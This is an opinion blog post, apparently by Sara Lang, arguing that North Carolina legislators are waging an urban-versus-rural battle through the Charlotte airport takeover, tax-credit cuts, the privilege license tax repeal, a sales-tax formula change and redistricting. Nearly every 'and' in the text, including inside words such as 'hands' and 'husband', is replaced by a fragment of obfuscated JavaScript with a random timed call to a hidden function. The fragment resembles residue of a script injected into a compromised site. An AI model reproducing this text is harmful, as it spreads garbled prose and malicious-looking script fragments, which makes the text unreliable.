There Are Two North Carolina’s. Which Do You Belong To?

>>Woman farming picking fruit country working immigrant nonprofit volunteerTensions in the General Assembly between cities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rural areas are nothing new. For generations, there have been disagreements over road building, development, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and power.

But now the stakes are higher. As the global economy changes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and population shifts more toward urban areas, these legislative spats cause serious damage. North Carolina’s population is becoming increasingly urban, shifting from just 45% urban in 1970 to 66% in 2010. Census data from 2013 shows that 15 urban counties accounted for 61% of the state’s jobs, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that employers in those same counties paid 68% of the state’s annual wages.

With legislators talking about “two North Carolina’s” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and an “unfair advantage” for cities, the rhetoric has also ratcheted up. Here are five ways NC lawmakers are waging battle between urban andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rural communities:

  • In July 2013, the General Assembly passed a bill creating the Charlotte Airport Commission to take control of the airport from the city. The legislation prompted plenty of hard feelings andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and led to a protracted >>legal fight that cost more than $1 million (andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ultimately left the airport in city handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands).
  • The elimination or reduction of economic incentives like the >>film tax credit, which helped bring more than $316 million to the state in 2014, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the >>historic tax credit, which provides incentives for the rehabilitation of historic properties, have hit North Carolina’s cities hard.
  • Last session, legislators passed a bill ending the >>privilege license tax, which businesses pay for operating in a locality. The change cost municipalities more than $62 million combined, with Charlotte losing $18.1 million andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Raleigh $7 million.
  • Now there is a move afoot in the General Assembly to >>change the way that sales tax is distributed, favoring a formula based on population instead of the location of a sale. Statistics prepared by legislative research staffers show that Raleigh would lose about $21 million, or 23%, of its sales tax revenue by 2019. Durham would lose $16 million, or 30%.
  • Just last week, legislators voted to >>redraw the districts for the Wake County Board of Commissioners, ostensibly to increase representation but likely to shift the political balance of power. Similar >>legislation would shrink Greensboro’s City Council andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and change its districts.

There is a line of thinking among some legislators that it is “us” versus “them” – that urban areas are getting jobs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and opportunities at the expense of rural areas, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that the only way to correct this is to redirect resources from urban areas into rural areas.

With a former big city mayor in the governor’s mansion, one would think this kind of rhetoric andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and myopic thinking would be cut short. Unfortunately, these misguided policies seem to only be picking up speed.

That’s not good for our cities, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s not good for North Carolina. We ought to be about creating opportunity across the state andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and investing in policies that will lift everyone up instead of picking winners andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and losers. After all, we are all in this together.

>>Sara LangSara Lang has worked in North Carolina politics at the state, federal, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and local levels for more than 15 years. A communications consultant, she lives in Cary with her husbandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, two young children, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a pampered dog.




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